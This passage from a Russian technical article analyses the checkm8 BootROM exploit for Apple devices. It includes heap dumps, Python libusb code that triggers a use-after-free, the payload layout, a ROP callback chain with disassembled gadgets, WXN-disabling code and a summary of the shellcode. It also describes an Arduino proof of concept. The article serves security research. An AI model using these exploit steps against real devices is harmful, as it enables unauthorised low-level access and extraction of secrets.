000000A0: 42 00 6F 00 6F 00 74 00  2D 00 32 00 36 00 39 00  B.o.o.t.-.2.6.9.
000000B0: 36 00 2E 00 30 00 2E 00  30 00 2E 00 31 00 2E 00  6...0...0...1...
chunk at 0x9640  // zlps[1]
0x80 non-free 0x180 0
00000000: 80 00 00 00 00 00 00 00  00 89 08 80 01 00 00 00  ................
00000010: FF FF FF FF 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x96c0  // descs[0], Nonce
0x140 non-free 0x80 0
00000000: EA 03 20 00 4E 00 4F 00  4E 00 43 00 3A 00 35 00  .. .N.O.N.C.:.5.
00000010: 35 00 46 00 38 00 43 00  41 00 39 00 37 00 41 00  5.F.8.C.A.9.7.A.
00000020: 46 00 45 00 36 00 30 00  36 00 43 00 39 00 41 00  F.E.6.0.6.C.9.A.
00000030: 41 00 31 00 31 00 32 00  44 00 38 00 42 00 37 00  A.1.1.2.D.8.B.7.
00000040: 43 00 46 00 33 00 35 00  30 00 46 00 42 00 36 00  C.F.3.5.0.F.B.6.
00000050: 35 00 37 00 36 00 43 00  41 00 41 00 44 00 30 00  5.7.6.C.A.A.D.0.
00000060: 38 00 43 00 39 00 35 00  39 00 39 00 34 00 41 00  8.C.9.5.9.9.4.A.
00000070: 46 00 32 00 34 00 42 00  43 00 38 00 44 00 32 00  F.2.4.B.C.8.D.2.
00000080: 36 00 37 00 30 00 38 00  35 00 43 00 31 00 20 00  6.7.0.8.5.C.1. .
00000090: 53 00 4E 00 4F 00 4E 00  3A 00 42 00 42 00 41 00  S.N.O.N.:.B.B.A.
000000A0: 30 00 41 00 36 00 46 00  31 00 36 00 42 00 35 00  0.A.6.F.1.6.B.5.
000000B0: 31 00 37 00 45 00 31 00  44 00 33 00 39 00 32 00  1.7.E.1.D.3.9.2.
chunk at 0x9800  // descs[1], Manufacturer
0x80 non-free 0x140 0
00000000: 16 03 41 00 70 00 70 00  6C 00 65 00 20 00 49 00  ..A.p.p.l.e. .I.
00000010: 6E 00 63 00 2E 00 D6 D7  D8 D9 DA DB DC DD DE DF  n.c.............
00000020: E0 E1 E2 E3 E4 E5 E6 E7  E8 E9 EA EB EC ED EE EF  ................
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x9880  // descs[2], Product
0x80 non-free 0x80 0
00000000: 3E 03 41 00 70 00 70 00  6C 00 65 00 20 00 4D 00  >.A.p.p.l.e. .M.
00000010: 6F 00 62 00 69 00 6C 00  65 00 20 00 44 00 65 00  o.b.i.l.e. .D.e.
00000020: 76 00 69 00 63 00 65 00  20 00 28 00 44 00 46 00  v.i.c.e. .(.D.F.
00000030: 55 00 20 00 4D 00 6F 00  64 00 65 00 29 00 FE FF  U. .M.o.d.e.)...
chunk at 0x9900  // descs[3], Serial number
0x140 non-free 0x80 0
00000000: C6 03 43 00 50 00 49 00  44 00 3A 00 38 00 30 00  ..C.P.I.D.:.8.0.
00000010: 31 00 30 00 20 00 43 00  50 00 52 00 56 00 3A 00  1.0. .C.P.R.V.:.
00000020: 31 00 31 00 20 00 43 00  50 00 46 00 4D 00 3A 00  1.1. .C.P.F.M.:.
00000030: 30 00 33 00 20 00 53 00  43 00 45 00 50 00 3A 00  0.3. .S.C.E.P.:.
00000040: 30 00 31 00 20 00 42 00  44 00 49 00 44 00 3A 00  0.1. .B.D.I.D.:.
00000050: 30 00 43 00 20 00 45 00  43 00 49 00 44 00 3A 00  0.C. .E.C.I.D.:.
00000060: 30 00 30 00 31 00 41 00  34 00 30 00 33 00 36 00  0.0.1.A.4.0.3.6.
00000070: 32 00 30 00 34 00 35 00  45 00 35 00 32 00 36 00  2.0.4.5.E.5.2.6.
00000080: 20 00 49 00 42 00 46 00  4C 00 3A 00 33 00 43 00   .I.B.F.L.:.3.C.
00000090: 20 00 53 00 52 00 54 00  47 00 3A 00 5B 00 69 00   .S.R.T.G.:.[.i.
000000A0: 42 00 6F 00 6F 00 74 00  2D 00 32 00 36 00 39 00  B.o.o.t.-.2.6.9.
000000B0: 36 00 2E 00 30 00 2E 00  30 00 2E 00 31 00 2E 00  6...0...0...1...
chunk at 0x9a40  // zlps[0]
0x80 non-free 0x140 0
00000000: 80 00 00 00 00 00 00 00  00 89 08 80 01 00 00 00  ................
00000010: FF FF FF FF 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  40 96 1B 80 01 00 00 00  ........@.......
00000030: F0 F1 F2 F3 F4 F5 F6 F7  F8 F9 FA FB FC FD FE FF  ................
chunk at 0x9ac0
0x46540 free 0x80 0
00000000: 00 00 00 00 00 00 00 00  F8 8F 08 80 01 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000080: 00 00 00 00 00 00 00 00  F8 8F 08 80 01 00 00 00  ................
00000090: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000A0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
000000B0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

Также интересный эффект можно получить, переполняя конфигурационные дескрипторы High Speed и Full Speed, которые находятся сразу после IO-буфера. Одно из полей конфигурационного дескриптора отвечает за его общую длину, и, переполнив его, можно добиться чтения за пределами дескриптора. Предлагаем заинтересованному читателю проделать это самостоятельно, модифицировав код эксплойта соответствующим образом.


2. Аллокация и освобождение IO-буфера без очистки глобального состояния


device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)

На данном этапе создается незавершенный OUT-запрос для загрузки образа. При этом происходит инициализация глобального состояния, и в io_buffer будет помещен адрес буфера в куче. Затем происходит сброс DFU с помощью запроса DFU_CLR_STATUS, и начинается новая итерация работы DFU.


3. Перезапись usb_device_io_request в куче с помощью use-after-free


device = dfu.acquire_device()
device.serial_number
stall(device)
leak(device)
leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)

Здесь происходит выделение объекта типа usb_device_io_request в куче и его переполнение с помощью t8010_overwrite, содержимое которого было приведено на первом этапе.


Значениями t8010_nop_gadget и 0x1800B0800 должны переполниться поля callback и next структуры usb_device_io_request.


t8010_nop_gadget представлен ниже и соответствует своему названию, однако в нем происходит не просто возврат из функции, а еще и восстановление предыдущего регистра LR, из-за чего пропускается вызов free после callback-функции в usb_core_complete_endpoint_io. Это важно, так как при переполнении мы повреждаем метаданные кучи, и при попытке освобождения это повлияло бы на работу эксплойта.


bootrom:000000010000CC6C                 LDP             X29, X30, [SP,#0x10+var_s0] // restore fp, lr
bootrom:000000010000CC70                 LDP             X20, X19, [SP+0x10+var_10],#0x20
bootrom:000000010000CC74                 RET

next указывает на INSECURE_MEMORY + 0x800. В INSECURE_MEMORY будет находиться полезная нагрузка эксплойта, а по смещению 0x800в полезной нагрузке находится callback-chain, речь о котором пойдет ниже.


4. Размещение полезной нагрузки


for i in range(0, len(payload), 0x800):
    libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                   payload[i:i+0x800], 50)

На данном этапе каждый следующий пакет помещается в область памяти для образа. Итоговая полезная нагрузка выглядит следующим образом:


0x1800B0000: t8010_shellcode  # инициализирующий shell-code
...
0x1800B0180: t8010_handler  # новый обработчик usb-запросов
...
0x1800B0400: 0x1000006a5  # дескриптор фейковой таблицы трансляции
                          # соответствует SecureROM (0x100000000 -> 0x100000000)
                          # совпадает со значением в оригинальной таблице трансляции
...
0x1800B0600: 0x60000180000625  # дескриптор фейковой таблицы трансляции
                               # соответствует SecureRAM (0x180000000 -> 0x180000000)
                               # совпадает со значением в оригинальной таблице трансляции
0x1800B0608: 0x1800006a5  # дескриптор фейковой таблицы трансляции
                          # новое значение транслирует 0x182000000 в 0x180000000
                          # при этом в данном дескрипторе есть права на исполнение кода
0x1800B0610: disabe_wxn_arm64  # код для отключения WXN
0x1800B0800: usb_rop_callbacks  # callback-chain

5. Исполнение callback-chain


dfu.usb_reset(device)
dfu.release_device(device)

После сброса USB начинается цикл отмены незавершенных usb_device_io_request в очереди с помощью прохода по связанному списку. На предыдущих этапах мы подменили продолжение очереди запросов, благодаря чему можно контролировать цепочку вызовов callback. Для построения этой цепочки используется следующий гаджет:


bootrom:000000010000CC4C                 LDP             X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address
bootrom:000000010000CC50                 LSL             W2, W2, W9
bootrom:000000010000CC54                 MOV             X0, X8 ; arg0
bootrom:000000010000CC58                 BLR             X10 ; call
bootrom:000000010000CC5C                 CMP             W0, #0
bootrom:000000010000CC60                 CSEL            W0, W0, W19, LT
bootrom:000000010000CC64                 B               loc_10000CC6C
bootrom:000000010000CC68 ; ---------------------------------------------------------------------------
bootrom:000000010000CC68
bootrom:000000010000CC68 loc_10000CC68                           ; CODE XREF: sub_10000CC1C+18↑j
bootrom:000000010000CC68                 MOV             W0, #0
bootrom:000000010000CC6C
bootrom:000000010000CC6C loc_10000CC6C                           ; CODE XREF: sub_10000CC1C+48↑j
bootrom:000000010000CC6C                 LDP             X29, X30, [SP,#0x10+var_s0]
bootrom:000000010000CC70                 LDP             X20, X19, [SP+0x10+var_10],#0x20
bootrom:000000010000CC74                 RET

Как видите, по смещению 0x70 от указателя на структуру загружаются адрес вызова и первый аргумент для вызова. С помощью этого гаджета можно легко делать вызовы вида f(x) для произвольных f и x.


Всю цепочку вызовов можно легко проэмулировать, используя Unicorn Engine. Мы сделали это с помощью нашей модифицированной версии плагина uEmu.



Результат работы всей цепочки для iPhone 7 с пояснениями приведем ниже.


5.1. dc_civac 0x1800B0600


000000010000046C: SYS #3, c7, c14, #1, X0
0000000100000470: RET

Очистка и инвалидация кэша процессора по виртуальному адресу. Это необходимо для того, чтобы в дальнейшем процессор обращался именно к нашей полезной нагрузке.


5.2. dmb


0000000100000478: DMB SY
000000010000047C: RET

Барьер памяти, гарантирующий завершение всех операций с памятью, производимых до этой инструкции. Дело в том, что в высокопроизводительных процессорах в целях оптимизации инструкции могут исполнятся в порядке, отличном от запрограммированного.


5.3. enter_critical_section()


Затем происходит маскировка прерываний для атомарного выполнения последующих операций.


5.4. write_ttbr0(0x1800B0000)


00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
00000001000003E8: ISB
00000001000003EC: RET

Устанавливается новое значение регистра трансляции TTBR0_EL1 в 0x1800B0000. Это адрес INSECURE MEMORY, где расположена полезная нагрузка эксплойта. Как было замечено ранее, по нужным смещениям в полезной нагрузке расположены дескрипторы трансляции:


...
0x1800B0400: 0x1000006a5           0x100000000 -> 0x100000000 (rx)
...
0x1800B0600: 0x60000180000625      0x180000000 -> 0x180000000 (rw)
0x1800B0608: 0x1800006a5           0x182000000 -> 0x180000000 (rx)
...

5.5. tlbi


0000000100000434: DSB SY
0000000100000438: SYS #0, c8, c7, #0
000000010000043C: DSB SY
0000000100000440: ISB
0000000100000444: RET

Происходит инвалидация таблицы трансляции для того, чтобы адреса транслировались в соответствии с нашей новой таблицей трансляции.


5.6. 0x1820B0610 - disable_wxn_arm64


MOV  X1, #0x180000000
ADD  X2, X1, #0xA0000
ADD  X1, X1, #0x625
STR  X1, [X2,#0x600]
DMB  SY

MOV  X0, #0x100D
MSR  SCTLR_EL1, X0
DSB  SY
ISB

RET

Происходит отключение WXN (Write permission implies Execute-never), после чего можно исполнять код в RW памяти. Исполнение самого кода отключения WXN возможно из-за модифицированной на предыдущем этапе таблицы трансляции.


5.7. write_ttbr0(0x1800A0000)


00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
00000001000003E8: ISB
00000001000003EC: RET

Восстанавливается оригинальное значение регистра трансляции TTBR0_EL1. Это необходимо для дальнейшей корректной работы BootROM при трансляции виртуальных адресов, так как данные в INSECURE_MEMORY будут перезаписаны.


5.8. tlbi


Происходит повторный сброс таблицы трансляции.


5.9. exit_critical_section()


Обработка прерываний возвращается в нормальное состояние.


5.10. 0x1800B0000


Управление на инициализирующий shellcode передается.


Таким образом, основная задача callback-chain — это отключение WXN и передача управления на shellcode в RW-памяти.


6. Исполнение shellcode


Сам shellcode находится в src/checkm8_arm64.S и делает следующее:


6.1. Перезапись конфигурационных USB-дескрипторов


В глобальной памяти хранятся два указателя на конфигурационные дескрипторы usb_core_hs_configuration_descriptor и usb_core_fs_configuration_descriptor, расположенные в куче. Во время третьего этапа эти дескрипторы были повреждены. Так как они необходимы для корректной работы с USB-устройством, shellcode их восстанавливает.


6.2. Изменение USBSerialNumber


Создается новая строка-дескриптор с серийным номером, к которой дописывается подстрока " PWND:[checkm8]". В дальнейшем это поможет определить, успешно ли отработал эксплойт.


6.3. Перезапись указателя обработчика USB-запросов на новый


Оригинальный указатель на обработчик USB-запросов к интерфейсу перезаписывается указателем на новый обработчик, который будет размещен в памяти на следующем шаге.


6.4. Копирование обработчика USB-запросов в TRAMPOLINE область памяти (0x1800AFC00)


При получении USB-запроса новый обработчик сравнивает wValue запроса с 0xffff и, если они не равны, возвращает управление на оригинальный обработчик. Если значения совпадают, то в новом обработчике могут быть исполнены различные команды: memcpy, memset и exec (вызов произвольного адреса с произвольным набором аргументов).


На этом анализ эксплойта можно считать завершенным.


Реализация эксплойта на более низком уровне работы с USB


В качестве бонуса и для понимания атаки на более низком уровне мы опубликовали Proof-of-Concept реализации checkm8 на Arduino с Usb Host Shield. PoC работает только для iPhone 7, однако портировать его на другие устройства не составит труда. При подключении iPhone 7 в DFU режиме к Usb Host Shield будут выполнены все описанные в статье шаги, и устройство перейдет в режим PWND:[checkm8], после чего его можно подключить к USB-порту персонального компьютера и работать с ним через утилиту ipwndfu (дампить память, использовать крипто-ключи и т.д.). Этот метод является более стабильным, чем использование асинхронных запросов с минимальным таймаутом, потому что мы работаем напрямую с USB-контроллером. Для реализации была использована библиотека USB_Host_Shield_2.0. Ее нужно незначительно модифицировать, patch-файл также находится в репозитории.



Вместо заключения


На этом мы завершаем наш технический анализ. Разбираться с эксплойтом checkm8 было очень интересно. Надеемся, что данная статья будет полезна сообществу и побудит людей к новым исследованиям в этой области. Сама уязвимость уже оказала и продолжит оказывать влияние на jailbreak-сообщество. Например, уже ведутся работы над jailbreak на основе checkm8checkra1n. Так как уязвимость неисправима, полученный jailbreak будет работать всегда на уязвимых чипах (с A5 по A11) независимо от версии iOS. Не стоит забывать и о iWatch, Apple TV и других уязвимых устройствах. Думаем, что в ближайшее время увидят свет и другие интересные проекты для яблочных устройств.


Помимо jailbreak, данная уязвимость окажет большое влияние на исследователей устройств Apple. С помощью checkm8 уже можно включать verbose-загрузку iOS, сдампить SecureROM или использовать GID-ключ для расшифровки образов прошивки. Однако наиболее интересной, на наш взгляд, возможностью нового эксплойта является включение отладки уязвимых устройств с помощью специального JTAG/SWD кабеля. Ранее такое было возможно только на специальных прототипах, достать которые было крайне тяжело, или с помощью специализированных сервисов. Соответственно, с появлением checkm8, исследовать Apple станет в разы проще и дешевле.


Ссылки


  1. Jonathan Levin, *OS Internals: iBoot
  2. Apple, iOS Security Guide
  3. littlelailo, apollo.txt
  4. usb.org
  5. USB in a NutShell
  6. ipwndfu
  7. Форк ipwndfu от LinusHenze
Tags:
Hubs:
+68
Comments12

Articles

Change theme settings

Information

Website
dsec.ru
Registered
Founded
Employees
51–100 employees
Location
Россия